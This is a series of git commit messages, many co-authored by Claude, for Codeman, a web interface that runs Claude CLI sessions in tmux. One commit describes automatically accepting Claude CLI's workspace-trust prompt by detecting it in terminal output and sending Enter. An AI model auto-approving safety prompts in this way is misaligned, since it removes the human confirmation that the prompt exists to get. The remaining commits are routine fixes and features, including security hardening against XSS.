Set the browser tab title to codeman:${hostname} instead of the bare
"Codeman" literal. Useful for users running multiple Codeman instances
across hosts (laptop, dev box, NAS) — the OS hostname disambiguates
which tab points at which backend.
Implementation:
- src/cli.ts: new --title-hostname <hostname> flag overrides the
detected hostname (handy for cosmetic naming or when os.hostname()
returns something noisy).
- src/web/server.ts: WebServer now accepts an optional titleHostname
constructor arg (defaults to os.hostname()), composes
windowTitle = codeman:${titleHostname}, and serves / and
/index.html by templating that title into the cached index.html
template (with HTML escaping of the title text).
- src/web/public/notification-manager.js: title-flash logic now uses
this.originalTitle instead of the hardcoded "Codeman" literal, so
the tab flash respects the per-host title.
- scripts/browser-comparison.mjs + test/file-link-click.test.ts:
expectations updated from === "Codeman" to a startsWith("codeman:")
predicate so they pass regardless of host.
The new index.html templating is intentionally narrow — it only
substitutes the <title> tag and continues to serve everything else
from the static template. No JS-side title injection, so it works
without JavaScript and shows the correct title from the very first
paint.
Note: test/file-link-click.test.ts shows ~49 prettier-reformat lines
that are not part of the feature — they are pre-existing prettier
debt that the pre-commit hook required me to clear. The single
behavioral change is the browserAvailable line.
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
When the inline session-rename input is open, any incoming SSE event
that triggers renderSessionTabs() (a sibling session updating, a hook
firing, a status change) destroys the input element mid-keystroke and
the user loses what they were typing.
Add a _inlineRenameActive flag that:
- guards the two render paths (renderSessionTabs and
_fullRenderSessionTabs) so they bail out early while a rename is
in progress;
- is set true when the inline input mounts (session-ui.js);
- is cleared in finishRename, which then explicitly calls
renderSessionTabs to restore the normal tab structure.
Also add a re-entrance guard at the top of finishRename so the blur
event and the Enter keydown do not both fire it (was a latent
double-call).
Drive-by: replace tabName.innerHTML = "" with explicit child removal.
The preceding textContent = "" already clears the element; this avoids
an innerHTML write on a node that takes user-supplied content on the
next line.
Follow-up to the inline-rename feature cherry-picked from #60.
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
When a PTY client re-attaches to an existing tmux session, it currently
hardcodes the PTY size to 120x40 and tmux resizes the window to match.
The xterm.js client then resizes back to its actual viewport on the
next render tick, so every restart causes a visible flicker and loses
one repaint of buffer content.
Also remove the hardcoded `-x 120 -y 40` from `tmux new-session` so
initial size adapts to the first client.
Changes:
- session.ts: query existing window size via `tmux display -p
#{window_width} #{window_height}` before pty.spawn, fall back to
120x40 only if tmux is unreachable.
- tmux-manager.ts: drop -x/-y from new-session args.
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Same root cause as the thinkingEffort fix in #73: the schema is
.strict(), so unknown keys in PUT /api/settings are rejected with
INVALID_INPUT and the toggle never persists. Verified live:
pre-fix returned {"errorCode":"INVALID_INPUT"}, post-fix accepts.
The frontend has been reading and writing this key for a while
(settings-ui.js:336, :1137; session-ui.js:331), so saves were
silently failing — users never noticed because the load path
falls back to false on missing keys.
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Default layout was a single nowrap row with path + date + size, which on
narrow screens truncated both the first prompt and the directory suffix
(where project names actually live). The /Users/ home shorthand was also
never applied on macOS.
Changes:
- Title now uses 2-line clamp so more of the first prompt is visible.
- Subtitle resolves workingDir against known cases: exact match shows
"#caseName", subpath shows "#caseName/sub", otherwise falls back to
basename. Case labels are styled distinctly.
- Normalize both /home/<user>/ and /Users/<user>/ prefixes to "~/".
- Each history item gets a "..." toggle that expands an in-place detail
panel with the full prompt, full path, timestamp, size, and short
session id. Collapses back on second click; clicking the card body
still triggers resume.
Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
Interactive Claude CLI never emits session_id on stdout, so the
Session's _claudeSessionId stayed pinned to the pre-/clear jsonl and
the last-response viewer kept showing the old conversation.
Two complementary update paths:
- Session.adoptClaudeSessionId() — public setter mirroring the existing
no-op-if-same guard. Called from POST /api/hook-event when Claude Code
hooks carry data.session_id (works once hooks are configured).
- /api/sessions/:id/last-response now resolves the active id from
~/.claude/history.jsonl before reading the transcript. This is the
only source-of-truth that does not require hooks, and we intentionally
don't write hooks into arbitrary user repos.
History scan filters out sessionIds held by other Codeman sessions in
the same cwd, and validates via jsonl mtime to avoid inheriting a dead
prior session's id.
Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
* fix: restore clear message separation + proper table layout in response viewer
* fix: capture Claude CLI's real session ID + robust ANSI/CLI-chrome stripping in response viewer fallback
Session constructor seeded _claudeSessionId with Codeman's session.id as a
placeholder, and the message-driven update was gated on !_claudeSessionId —
meaning Claude CLI's actual session UUID was never adopted. This broke
/api/sessions/:id/last-response JSONL lookups, silently falling through to
the terminal-buffer path whose ANSI regex missed \x1b[>c / \x1b[>q queries.
- session.ts: update _claudeSessionId whenever a message's session_id differs
from current (covers placeholder and stale-resume cases)
- app.js: extract _cleanTerminalBuffer with proper CSI regex (param bytes
0x30-0x3F now covers > ? < =) plus a chrome filter for status bar,
progress bar, spinner, shell prompt, and hint lines
* fix: wrap regular code blocks on mobile, keep ASCII diagrams rigid with scroll hint
* feat: add per-block wrap toggle on ASCII-diagram code blocks
* fix: wrap by default, pin toggle button outside scroll container
* fix: narrow diagram detection to box-drawing + block elements only
* feat: show last-response viewer eye icon on desktop too
The response viewer button was mobile-only via a display:none default with a
mobile.css override. Flip the default to inline-flex and drop the override so
the eye icon appears in the header on every form factor — desktop users get
the same quick "Last Response" pane as mobile.
* fix(response-viewer): restore HTML sanitizer + fix undefined `src` in _renderMarkdown
- `_renderMarkdown` referenced an undefined `src` (should be `text`),
causing a ReferenceError on every markdown render. The try/catch
swallowed it, so the new table-wrap and ASCII-diagram features
never actually ran — output silently fell through to plain-text.
app.js is excluded from ESLint, so this wasn't caught at lint time.
- `_sanitizeHtml` was removed when refactoring the response viewer,
leaving `marked.parse()` output going straight into `innerHTML`
without sanitization (XSS regression vs. master). Restored the
helper and re-applied it before any post-processing.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
Co-authored-by: arkon <arkon.85@hotmail.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Resolved conflict in src/web/public/session-ui.js by keeping this
PR's buildEnvOverrides() helper — it already covers both
CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS (this PR) and
CLAUDE_CODE_EFFORT_LEVEL (added in #73), so the master-side inline
block is fully replaced.
Also fixed test/session-manager.test.ts MockSession to add a
getEnvOverridesForPersist() stub — without it,
SessionManager.updateSessionState's new call breaks 19 tests with
"TypeError: session.getEnvOverridesForPersist is not a function".
Verified: typecheck, lint, format:check, build, and
test/{session-manager,session-state,tmux-manager,tmux-restart-recovery}.test.ts
all pass.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Without this, PUT /api/settings rejects the new field with
INVALID_INPUT (schema is .strict()), so the dropdown's value
never persists.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(tmux-manager): use '|' separator in reconcileSessions
Under non-tty execution contexts (launchd on macOS, systemd without TTY),
tmux emits '\t' in FORMAT strings as the literal two characters `\` + `t`
rather than as a tab. The parser's `line.indexOf('\t')` (a real tab char)
therefore never matches, `activeSessions` stays empty, `reconcileSessions`
returns `alive: []` / `discovered: []`, and `cleanupStaleSessions()` wipes
every entry in `state.json` — even though the underlying tmux sessions are
still alive. On the next startup the user sees an empty session list.
The bug reproduces reliably when codeman is launched via a user LaunchAgent
or a systemd unit without `TTYPath`. Interactive `npm run dev` hides it
because tmux's format parser does interpret `\t` when stdout is a TTY.
Fix: use `|` as the separator. tmux passes it through verbatim in every
environment, and `|` is not a valid tmux session-name character so it
cannot collide with the codeman-<uuid> / claudeman-<uuid> naming scheme.
* test(tmux-manager): cover parsePaneList separator contract
Extract the inline pane-list parser from `reconcileSessions` into an
exported `parsePaneList()` helper plus `PANE_LIST_SEP` / `PANE_LIST_FORMAT`
constants, so the '|' separator contract can be unit-tested directly.
The new tests lock in:
- Well-formed parsing into name -> pid Map
- Empty / blank-line / missing-separator handling
- Non-numeric pid and empty-name rejection
- A literal `\t` (backslash + t) in the input is NOT treated as a
delimiter — guards against the launchd/systemd regression that
motivated PR #71.
- Splitting on the first separator only.
No behavior change in `reconcileSessions`; the body now delegates to the
helper.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
Co-authored-by: arkon <arkon.85@hotmail.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
CLAUDE_CODE_EFFORT_LEVEL (and any CLAUDE_CODE_* / OPENCODE_* key) now flows:
UI dropdown → POST /api/sessions { envOverrides }
→ new Session({ envOverrides })
→ this._envOverrides
→ tmux-manager.buildEnvExports appends `export KEY=<shellescape(VALUE)>`
Previously the API wrote envOverrides to <case>/.claude/settings.local.json, which
created stale state (UI dropdown disagreeing with disk) and polluted user project
directories. Now envOverrides are ephemeral spawn-time state, preserved across
respawnPane cycles via this._envOverrides and across server restart via
SessionState.envOverrides in state.json.
Also removes the now-unused updateCaseEnvVars import from session-routes.ts.
Add XHigh option to Thinking Effort dropdown (between High and Max),
and add a Max quick button to the mobile keyboard accessory bar that
sends /effort max as a slash command.
Knip-driven cleanup. All changes verified with tsc --noEmit, lint, and
build.
Removed (zero consumers):
- VERIFICATION_PROMPT constant + its barrel re-export
- createInitialOrchestratorPersistState factory
- transcriptWatcher singleton export
- createAnsiPatternFull / createAnsiPatternSimple factories
- TimerInfo interface + unused AiCheckResult/AiPlanCheckResult imports
in respawn-controller.ts
- 35 unused Zod z.infer \`*Input\` types in schemas.ts
- Dead re-exports: SessionMode from session.ts, AuthSessionRecord from
web/ports/index.ts, EnhancedPlanTask/CheckpointReview from
ralph-tracker.ts, 7 unused entries in utils/index.ts
- 14 event/config interfaces that lived only as JSDoc hints (no TS type
position usage): Session/Respawn/RalphLoop/RalphTracker/
SessionManager/SessionAutoOps/Subagent/TaskQueue/TaskTracker/
TranscriptWatcher/Image/OrchestratorLoop Events + RespawnPreset +
SessionOutput
Narrowed to module scope (kept but no longer exported):
- buildPermissionArgs in session-cli-builder.ts
- 28 type/interface declarations used only within their own file:
Ai{Idle,Plan}Check{Config,State}, BashToolParser{Events,Config},
FileStream/CreateStream{Options,Result}, PlanSubagentEvent,
SubagentCallback, RalphLoopConfig, RalphLoop{Events,Options},
ActiveTimerInfo, DetectionStatus, ActionLogEntry, AutoOpsCallbacks,
TunnelStatus, Timer/LRUMap/StaleExpirationMap Options, AuthState,
SessionListenerDeps, SseStreamManagerDeps, and 8 more
Docs: CLAUDE.md advice for global-regex `lastIndex` now points to the
remaining `execPattern()` helper instead of the deleted factories.
Knip delta: unused files 42→0, unused exports 161→16, unused types 92→0.
The 16 remaining exports are a mobile-test helper toolkit intentionally
kept for upcoming tests.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
knip.json declares the real entry points (scripts, tests, Remotion roots)
and the devDeps invoked only as external CLIs (esbuild for build,
agent-browser/remotion via npx) so future scans surface only true
findings.
Add \`npm run knip\` as the canonical invocation.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Dead-code sweep via knip. All files below have zero importers and were
leftovers from the local-echo overlay exploration or duplicated by files
under test/mocks/.
Deleted:
- test/respawn-test-utils.ts (728-line duplicate of test/mocks/*)
- test/input-echo-test.mjs
- test/local-echo-*.mjs (7 files)
- test/manual/*.mjs (10 files; dir removed)
- scripts/remotion/components/TerminalScreen.tsx (unused Remotion demo)
Also cleaned stale JSDoc references to the removed
respawn-test-utils.ts in test/mocks/mock-session.ts and
test/mocks/test-helpers.ts.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- CI line: include `check:lockfile` step now run in workflow
- Frontend: app.js is ~2.9K lines (was ~2.8K)
- Types: document `src/types/index.ts` as the barrel (14 domain files) plus `src/types.ts` root re-export
- API routes: updated handler counts (128 total; sessions 27, cases 9)
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Fix stale counts (types 14 to 15, SSE events ~118 to ~120). Remove
redundant footer sections (References list duplicated inline citations;
Common Workflows bullets were self-evident or already stated; Tunnel and
Memory Leak Prevention folded into neighboring sections). 251 to 234 lines.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
CLAUDE.md: fix stale counts (types 14 to 15, SSE events ~118 to ~120),
remove redundant footer sections (References list duplicated inline citations;
Common Workflows bullets were self-evident or already stated; Tunnel/Memory
Leak Prevention folded into neighboring sections). 251 to 234 lines.
Move 22 completed implementation/phase/audit plans to docs/archive/ via
git mv so history is preserved. Living reference docs remain in docs/.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Makes the drift that PR #70 caught impossible to repeat:
- `version-packages` script now runs `changeset version && npm install
--package-lock-only && check-lockfile-sync`, so the lockfile is always
regenerated and verified as part of consuming a changeset
- New `scripts/check-lockfile-sync.mjs` compares package.json#.version against
package-lock.json's root and packages[""] version fields (npm ci does not
enforce these, which is why the prior drift slipped through CI)
- CI now runs `npm run check:lockfile` on every push/PR — any future drift
fails the build before merge
- COM workflow in CLAUDE.md collapsed back to a single release-bump step now
that lockfile sync is automatic
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
package.json has been at 0.6.0 since release, but package-lock.json stayed at
0.3.11 because `npm run version-packages` (changesets) does not regenerate the
lockfile. This left `npm ci` broken against the committed state.
Also adds step 4 (`npm install --package-lock-only`) to the COM workflow in
CLAUDE.md so future releases keep the lockfile in sync automatically.
Credit to @Matt2012 (#70) for catching the lockfile drift.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Reflect changes from PRs #65–#68: bumped route/SSE counts, added
Ctrl+Shift+{/} (tab reorder), Alt+1-9 (tab switch), Ctrl+Shift+V
(voice), and POST /api/clipboard to the keyboard and API references.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
POST /api/clipboard with { text } broadcasts to all connected browsers
via SSE. Browser attempts navigator.clipboard.writeText, falling back
to a modal with manual copy button if blocked.
Enables remote clipboard workflows: CLI tools can push text to the
user's browser clipboard across the network.
- Active tab: bright green border with color-matched glow per session color
- Tab number badges (1-9) showing Alt+N shortcut hints
- Badges update on tab reorder and re-render
On Android tablets, pressing Shift+A produces "AA" because the input
event listener re-sends characters that xterm already processed via
its keydown handler. Track keydown timestamps and skip input events
that fire within 50ms of a handled keydown.
Only affects touch devices (listener gated by isTouchDevice()).
/api/quick-start was always resolving caseName against CASES_DIR,
ignoring any entries in ~/.codeman/linked-cases.json. This caused
sessions to start in ~/codeman-cases/<name> even when the case was
linked to an external project directory.
Fix: read linked-cases.json first and prefer that path, falling back
to validatePathWithinBase only when no link is found.
Add marked.js (39KB) for rich text display in the response viewer.
Renders headings, code blocks, lists, tables, blockquotes, and
inline formatting with dark theme styling.
Falls back to escaped plain text if marked.js fails to load.
Claude Code's Ink framework uses alternate screen buffer + VPA cursor
positioning, resulting in near-zero xterm.js scrollback on mobile.
Instead of fighting terminal scrollback, this adds a native scrollable
overlay that reads structured responses from Claude's JSONL transcripts.
- New API: GET /api/sessions/:id/last-response reads transcript JSONL
- ?context=full returns full conversation thread (user + assistant)
- Fallback to terminal buffer with ANSI stripping if no transcript
- Response viewer panel: bottom sheet with native iOS/Android scroll
- "More" button loads full conversation context as threaded view
- Eye icon in header bar (mobile only), no toolbar space impact
Add app icons, update manifest with icon entries, and add app-shell
caching to service worker for offline/instant startup.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Add named tunnel mode alongside existing quick tunnel, with systemd
service and setup helper. All tunnel parameters are configurable via
environment variables:
CLOUDFLARED_TUNNEL_NAME — tunnel name (default: codeman)
CLOUDFLARED_TUNNEL_ID — tunnel UUID (from: cloudflared tunnel list)
CODEMAN_TUNNEL_HOSTNAME — public hostname
Backward compatible: ./tunnel.sh [start|stop|status|url] still works.
Add named tunnel mode alongside existing quick tunnel, with systemd
service and setup helper. Tunnel ID and hostname are configurable via
CLOUDFLARED_TUNNEL_ID and CODEMAN_TUNNEL_HOSTNAME env vars.
- Show Codeman logo on mobile as compact home button (was hidden)
- Add "Show More" button for history sessions (initial 4, expand all)
- Deduplicate by projectKey instead of workingDir (lossy decode fix)
- Fix project key decoding: handle '_' encoded as '-' with look-ahead
- Pre-validate resumeSessionId before passing to Claude CLI
- Apply content validation to all session files regardless of size
The model validation regex rejected brackets, silently dropping models
like opus[1m]. Also quote the model flag to prevent bash glob expansion.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Remove fork/branch install instructions and env vars table for cleaner
first impression. Reformat systemd and launchd service blocks as
readable multi-line heredocs.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Filter readdir and linked-case names through /^[a-zA-Z0-9_-]+$/ before
returning them from GET /api/cases. Prevents XSS via maliciously-named
directories reaching frontend inline onclick handlers where escapeHtml
is insufficient (HTML-decoded back to quotes before JS execution).
Also fix misleading "Drag or use arrows" hint (no drag-and-drop exists).
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Remove dist/state-store.js (compiled build artifact that should not be tracked)
and scripts/claudeman-launchd-wrapper.sh (developer-specific launchd wrapper
with hardcoded paths) that were included in #55.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Add a "Manage" tab to the create-case modal with up/down reorder
buttons and delete for each case. Linked cases are unlinked (folder
preserved); CASES_DIR cases are permanently deleted.
Backend:
- DELETE /api/cases/:name — unlink or delete
- PUT /api/cases/order — persist ordering to settings.json
- GET /api/cases now respects saved caseOrder
Frontend:
- Third "Manage" tab in createCaseModal with case list
- Delete button in mobile case picker bottom sheet
- SSE events: case:deleted, case:order-changed
Previously, restoreMuxSessions() only created Session objects without
attaching PTY processes. Sessions stayed at pid=null until the client
manually selected them, causing terminals to appear "closed" after deploy.
Now the server calls startInteractive() for each recovered session during
startup, so all sessions resume capturing output immediately. The frontend
auto-attach condition is also relaxed from (pid===null && status==='idle')
to (pid===null && !_ended) as a safety net for edge cases.
Three fixes for macOS deployments:
1. HTML cache bug: @fastify/static with preCompressed serves .html.br/.html.gz
files, so path.endsWith('.html') missed them — HTML got 1-year immutable
cache headers instead of no-cache, causing stale pages after deploys.
2. Installer launchd support: macOS now gets proper LaunchAgent setup (like
systemd on Linux). Removes competing LaunchDaemons to prevent duplicate
services fighting over the port. Update/uninstall also handle launchd.
3. Trust dialog auto-accept: Claude CLI 2.x shows a workspace trust prompt
on first launch per directory. Sessions detect "trust this folder" in PTY
output and auto-send Enter, preventing sessions from hanging on startup.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
When running `curl | bash`, stdin is the pipe, not the terminal.
Homebrew and sudo need TTY access to prompt for the password.
Redirect /dev/tty as stdin for these subprocesses.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Three fixes from the WIP flicker branch that were lost during master merges:
1. Move viewport clear (\x1b[3J\x1b[H\x1b[2J) inside the dimension-change
guard so it only fires when cols/rows actually change. Previously every
resize event cleared the screen even at identical dimensions, causing
visible flicker with no subsequent Ink redraw to repaint.
2. Sync _lastResizeDims in sendResize() so restoreTerminalSize() doesn't
trigger a redundant viewport clear on the next throttledResize tick.
3. Add didScroll tracking to touch events — tap (no scroll) now refocuses
xterm's hidden textarea, fixing mobile keyboard input routing after
tapping the terminal area.
Mobile users cannot press Shift+Tab on virtual keyboards. Add a ⇧Tab
button that sends the escape sequence (\x1b[Z) to the PTY, enabling
mode switching on mobile devices.
Also fix accessory bar overflow on narrow screens by making it
horizontally scrollable with hidden scrollbar.
Allow users to leave the default model unset, so sessions use whatever
the Claude CLI defaults to rather than forcing a specific model.
- Add empty-value "Default (CLI default)" option to the model dropdown
- Treat empty string as undefined when passing model to Session
- Apply consistently across session creation, quick-start, and Ralph
1. Rewrote getActiveChildProcesses() to use a single `ps --ppid` call
instead of two-level pgrep. The pane PID is typically claude itself
(bash exec'd into it), not a bash wrapper — so direct children of
pane_pid ARE the tool processes.
2. Added timer restart in tryStartAiCheck() when skipping due to child
processes. Without this, the pre-filter and no-output timers (both
one-shot) would never fire again, permanently stalling idle detection
for sessions with silent long-running processes.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
When Claude Code spawns bash tools (test suites, builds, servers), the
respawn controller could falsely detect idle if terminal output paused.
Now checks the process tree for active children of the Claude process
before triggering AI idle checks or confirming idle state.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Claude CLI's --output-format stream-json now returns "result": "" in the result
message. The actual response text lives in assistant message text blocks, which
_textOutput correctly accumulates. runPrompt() was returning the empty
resultMsg.result without falling back to _textOutput.value.
Also improved plan-orchestrator JSON extraction to try code-block-wrapped JSON
first (```json {...} ```) before the greedy regex, plus debug logging.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Tests that partial PUT /api/settings with just lastUsedCase works correctly
and that including modelConfig triggers strict Zod schema rejection (the bug
fixed in #49).
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Thank you for the clean fix! The root cause analysis in the PR description was excellent — the strict Zod schema rejecting modelConfig during the GET-then-PUT pattern was a subtle bug.
Allow overriding MAX_TERMINAL_BUFFER_SIZE, TRIM_TERMINAL_TO, MAX_TEXT_OUTPUT_SIZE,
TRIM_TEXT_TO, and MAX_MESSAGES via CODEMAN_* env vars, falling back to existing
defaults. Enables users with fewer sessions or more RAM to tune buffer sizes
without patching source.
Closes#48
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Terminal flicker:
- Skip buffer-recovered/clear-terminal events during active buffer load
to prevent competing clear+rewrite cycles (app.js)
- Move viewport+scrollback clear inside dimension-change guard so resize
without actual SIGWINCH doesn't blank the terminal (terminal-ui.js)
- Sync _lastResizeDims on explicit resize to prevent redundant clears
CJK input rewrite (input-cjk.js):
- Use InputEvent.inputType to distinguish insertText (final) from
insertCompositionText (tentative) — fixes Chinese punctuation and
English text being swallowed during Android IME composition
- Remove isComposing guard on Enter so it always sends
- Phantom character (U+200B) keeps textarea non-empty so Android
long-press backspace generates continuous deleteContentBackward
events at the keyboard's native repeat rate
CJK input settings:
- Add "CJK Input" toggle in Settings > Input (index.html, settings-ui.js)
- Store as device-specific setting (cjkInputEnabled), not synced to server
- Replace INPUT_CJK_FORM env var dependency with user-controlled setting
(env var still works as server override)
Mobile layout:
- Fix welcome screen overflow on phones by constraining .welcome-content
to calc(100vw - 1.5rem) (mobile.css)
- Move xterm helper textarea on-screen for touch devices to fix iOS
keyboard input (styles.css)
- Focus terminal synchronously in user-gesture context for iOS Safari
keyboard activation (session-ui.js, app.js)
- Refocus terminal on tap (not scroll) in touch handler (terminal-ui.js)
Tailed terminal buffers contain multiple CUP-positioned Ink frames from
different time points. When replayed in xterm, old frames at viewport
positions not covered by the latest frame persist as ghost content
(e.g. duplicate "bypass permissions" bars). After buffer load, send
Ctrl+L via the session input API to trigger a full Ink redraw, which
overwrites all stale frame content with the correct current state.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Two fixes for the tab-switching corruption bug:
1. _finishBufferLoad() now discards queued SSE events instead of flushing
them. The loaded API buffer is the source of truth — queued events
overlap with it, and flushing them writes duplicate Ink cursor-up
redraws that corrupt the terminal display (garbled text, wrong cursor
positions).
2. Skip stale cache write for busy sessions. When a session is actively
working, the cache is always outdated — writing it first and then
rewriting with the fresh API buffer caused a jarring double-render
flash. Now busy sessions get a single clean clear+write transition.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Use RegExp constructor with String.raw to express \x1b without
a literal control character in the source, matching the pattern
used elsewhere in the codebase.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Single Ink frames with response content can be 10-20KB, so the 4KB tail
was too small and caused blank gaps. Now searches the last 64KB for VPA
row drops to find the last complete frame boundary.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
chunkedTerminalWrite used requestAnimationFrame to write buffer chunks across
frames but had no cancellation. When switching tabs, old session's remaining
chunks continued writing stale data into the new session's terminal, causing
visual artifacts and garbled content.
- Add _chunkedWriteGen generation counter to abort in-flight chunked writes
- Bump gen early in selectSession() and SSE reconnect to immediately cancel
- Guard finish() so aborted writes don't flush SSE queue for wrong session
- Add fitAddon.fit() before buffer writes to sync terminal dimensions
- Add fitAddon.fit() in sendResize() to ensure local/server dim parity
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Skip /init expansions, slash commands, orchestrator prompts, ANSI codes, secrets,
and short/vague messages. When head scan finds no usable prompt (e.g. /init sessions),
read last 32KB of transcript to find a recent meaningful user message.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
New SSE event orchestrator:planProgress streams phase/detail updates
from the planner to the frontend in real-time. The panel now shows
a scrollable log of planning steps instead of just "Generating plan..."
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
1. Post-phase verify timer leak — setTimeout for verifyCurrentPhase was
never stored, so pause() couldn't cancel it. Timer now tracked in
postPhaseTimer field and cleared in clearPhasePoll().
2. Event forwarding flag survives loop replacement — boolean
eventForwardingAttached stayed true when a new loop was created,
so the new loop never got SSE forwarding. Now tracks the loop
instance reference instead of a boolean.
3. Replan stuck when no sessions — replanPhase() returned without
setting up task handlers or polling when no idle sessions were
available. Now starts polling so the queued task gets picked up
when a session becomes idle.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Covers full lifecycle: start → plan → approve → execute → verify → complete.
Tests state transitions, event emissions, persistence/recovery, pause/resume,
skip/retry, team phase execution, error handling, and edge cases.
Also fixes bugs found during review:
- Route context snapshot: use getter for orchestratorLoop (was null forever)
- Event listener stacking: guard setupEventForwarding with boolean flag
- Replan completion: create tracked TaskQueue task instead of raw sendInput
- Pause cleanup: call cleanupTaskHandlers() on pause
- Phase timeout: add phaseTimeoutTimer enforcement
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Adds a new autonomous loop that accepts high-level goals, generates
phased execution plans via AI, and executes them step-by-step with
verification gates between phases.
Core components:
- OrchestratorLoop: state machine (idle→planning→approval→executing→verifying→completed)
- OrchestratorPlanner: plan generation via PlanOrchestrator, Kahn's algorithm phase grouping
- OrchestratorVerifier: phase verification (strict/moderate/lenient modes)
- Prompt templates for phase execution, team delegation, verification, replanning
API (10 endpoints):
- POST start/approve/reject/pause/resume/stop
- GET status/plan
- POST phase/:id/skip, phase/:id/retry
Frontend: orchestrator-panel.js with SSE-driven state, phase progress, task tracking
Tests: 22 tests (18 route + 4 unit), all passing. Typecheck/lint/format clean.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
xterm.js DOM renderer doesn't populate .xterm-viewport's scroll area (the div
is empty, scrollHeight === clientHeight), so native CSS scrolling via
touch-action:pan-y and overflow-y:scroll had nothing to scroll. Desktop worked
only because the wheel handler called terminal.scrollLines() directly.
- Replace split mobile/desktop touch handlers with unified JS-driven handler
that converts touch deltas to terminal.scrollLines() calls (with pixel
accumulation for slow swipes and momentum scrolling)
- Change touch-action from pan-y to none on terminal elements so browser
doesn't fight the JS handler
- Remove now-unnecessary xterm-viewport position/overflow/z-index overrides
and iOS -webkit-overflow-scrolling rules
- Fix _shrinkPaddingToFit() arithmetic (was adding gap instead of subtracting)
- Minor: add route-helpers.ts to CLAUDE.md, fix sse-events.ts comment count
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
iOS Safari scrolls the document to bring xterm's hidden textarea into
view when the user types, pushing the entire UI off-screen. Fix with:
- CSS position:fixed on .app when keyboard is visible
- window.scroll listener to reset scroll position as safety net
- scroll reset in onKeyboardShow before and after fit/resize
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
During long thinking phases, Ink's TUI rewrites the spinner/status bar
thousands of times via absolute cursor positioning (VPA/CUP). These
500KB+ of redraw frames pushed real content out of the 128KB tail
window, making the terminal appear empty when switching tabs.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- resolveCasePath now checks linked cases first (matching original behavior
of /api/cases/:name and /api/cases/:name/fix-plan handlers)
- readLinkedCases only warns on real I/O errors, not JSON parse errors
(SyntaxError has no .code property, so check for .code existence first)
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Extract readLinkedCases() helper and resolveCasePath() to eliminate 6x duplicated
linked-cases.json path construction and 5x duplicated file read/parse logic
- Replace O(n) .some() duplicate check with O(1) Set.has() in case listing
- Un-export isError() in types/api.ts (only used internally by getErrorMessage)
- Standardize reply.status() → reply.code() in system-routes (Fastify canonical API)
- Update CLAUDE.md: accurate frontend module listing, SSE event count (~106)
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Split the monolithic app.js (~12.5K lines) into 6 focused mixin modules
that extend CodemanApp.prototype via Object.assign:
- terminal-ui.js — terminal setup, rendering pipeline, controls
- respawn-ui.js — respawn banner, countdown, presets, run summary
- ralph-panel.js — Ralph state panel, fix_plan, plan versioning
- settings-ui.js — app settings, visibility, web push, tunnel/QR, help
- panels-ui.js — subagent panel, teams, insights, file browser, log viewer
- session-ui.js — quick start, session options, case settings
Fix deferred script init ordering: wrap CodemanApp instantiation in
DOMContentLoaded so all defer'd mixin modules execute their
Object.assign before the constructor runs. Without this, init() calls
methods like applyHeaderVisibilitySettings() that don't exist yet.
Guard missing cleanupWizardDragging() call in subagent-windows.js.
Update build.mjs to minify/hash all new modules. Update CLAUDE.md
with new frontend architecture and load order.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
- Enable NODE_COMPILE_CACHE in systemd service and npm start for 10-20% faster cold starts
